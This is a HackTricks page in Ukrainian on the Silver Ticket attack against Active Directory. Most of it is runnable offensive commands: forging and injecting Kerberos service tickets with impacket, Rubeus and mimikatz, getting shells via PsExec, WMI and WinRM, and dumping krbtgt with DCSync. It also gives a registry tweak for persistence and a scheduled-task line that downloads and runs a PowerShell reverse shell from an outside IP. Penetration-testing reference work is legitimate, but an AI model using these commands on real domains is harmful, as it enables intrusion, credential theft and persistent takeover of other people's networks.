Silver Ticket

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Silver ticket

Атака Silver Ticket передбачає експлуатацію сервісних квитків в середовищах Active Directory (AD). Цей метод базується на отриманні NTLM хешу облікового запису сервісу, такого як обліковий запис комп'ютера, для підробки квитка служби надання квитків (TGS). З цим підробленим квитком зловмисник може отримати доступ до конкретних сервісів в мережі, вдаючи з себе будь-якого користувача, зазвичай намагаючись отримати адміністративні привілеї. Підкреслюється, що використання AES ключів для підробки квитків є більш безпечним і менш помітним.

warning

Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони вимагають лише хеш облікового запису сервісу, а не облікового запису krbtgt. Однак вони обмежені конкретним сервісом, на який націлені. Більше того, просто вкрасти пароль користувача.

Більше того, якщо ви зламаєте пароль облікового запису з SPN, ви можете використовувати цей пароль для створення Silver Ticket, вдаючи з себе будь-якого користувача для цього сервісу.

Для створення квитків використовуються різні інструменти в залежності від операційної системи:

On Linux

bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

На Windows

bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

CIFS служба виділяється як загальна ціль для доступу до файлової системи жертви, але інші служби, такі як HOST і RPCSS, також можуть бути використані для завдань і WMI запитів.

Доступні служби

Тип службиСлужба Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

В залежності від ОС також:

WSMAN

RPCSS

WinRM

HOST

HTTP

В деяких випадках ви можете просто запитати: WINRM

Заплановані завданняHOST
Спільний доступ до файлів Windows, також psexecCIFS
LDAP операції, включаючи DCSyncLDAP
Інструменти адміністрування Windows Remote Server

RPCSS

LDAP

CIFS

Золоті квиткиkrbtgt

Використовуючи Rubeus, ви можете запитати всі ці квитки, використовуючи параметр:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Ідентифікатори подій Silver tickets

  • 4624: Увійшов до облікового запису
  • 4634: Вийшов з облікового запису
  • 4672: Увійшов адміністратор

Постійність

Щоб уникнути зміни паролів на машинах кожні 30 днів, встановіть HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 або ви можете встановити HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge на більше значення, ніж 30 днів, щоб вказати період ротації, коли пароль машини має бути змінений.

Зловживання квитками служби

У наступних прикладах уявімо, що квиток отримано, імплементуючи обліковий запис адміністратора.

CIFS

З цим квитком ви зможете отримати доступ до папок C$ і ADMIN$ через SMB (якщо вони відкриті) і копіювати файли в частину віддаленої файлової системи, просто зробивши щось на зразок:

bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Ви також зможете отримати оболонку всередині хоста або виконати довільні команди, використовуючи psexec:

PsExec/Winexec/ScExec

HOST

З цією дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди:

bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

З цими квитками ви можете виконати WMI в системі жертви:

bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Знайдіть додаткову інформацію про wmiexec на наступній сторінці:

WmiExec

HOST + WSMAN (WINRM)

З доступом winrm до комп'ютера ви можете отримати доступ до нього і навіть отримати PowerShell:

bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Перевірте наступну сторінку, щоб дізнатися більше способів підключення до віддаленого хоста за допомогою winrm:

WinRM

warning

Зверніть увагу, що winrm має бути активним і слухати на віддаленому комп'ютері для доступу до нього.

LDAP

З цією привілеєю ви можете скинути базу даних DC, використовуючи DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Дізнайтеся більше про DCSync на наступній сторінці:

DCSync

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks